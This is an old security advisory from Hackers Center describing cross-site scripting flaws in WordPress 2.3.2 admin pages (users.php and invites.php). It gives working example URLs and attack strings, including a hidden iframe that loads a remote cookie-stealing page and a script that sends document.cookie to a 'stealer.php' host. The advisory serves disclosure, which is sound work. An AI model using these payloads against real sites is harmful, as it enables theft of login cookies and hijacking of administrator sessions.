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WordPress Multiple Cross-Site Scripting Vulnerabilities



Vulnerabilities in Wordpress, which can be exploited by malicious people to 
conduct cross-site scripting and script insertion attacks.Input passed to 
certain parameters in various scripts isn't properly verified before it is 
returned to the user. This can be exploited to execute arbitrary HTML or script 
code in a user's browser session in context of an affected site by tricking the 
user into visiting a malicious website or follow a specially crafted link.

 

An attacker may leverage these issues to execute arbitrary script code in the 
browser of an unsuspecting user in the context of the affected site. This may 
allow the attacker to steal cookie-based authentication credentials and to 
launch other attacks.

Hackers Center Security Group (http://www.hackerscenter.com)

Credit: DoZ Class: Input Validation Error

Remote: Yes

Product: WordPress

Version: 2.3.2

Vendor: http://www.WordPress.com

Attackers can exploit these issues via a web client.

Url: (1 & 2)

1. Our Testing Example:

http://site.wordpress.com/wp-admin/users.php?update=invite&inviteemail=Attack_Code

Example of Attack String: ">< iframe 
src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0>

< /script>

2. Our Testing Example: (Works If Admin is already logged in)

http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E%3Cscript%3Ealert

(document.cookie);%3C/script%3E

 

Example of Attack String:

< 
script>document.location="http://www.mysite/stealer.php?cookie="+document.cookie;</script>

Refrence:

http://www.hackerscenter.com/index.php?/Latest-posts/114-WordPress-Multiple-Cross-Site-Scripting-Vulnerabilities.html?id=114

Video:

http://www.hackerscenter.com/public/%5F/wordpress/Wordpress.html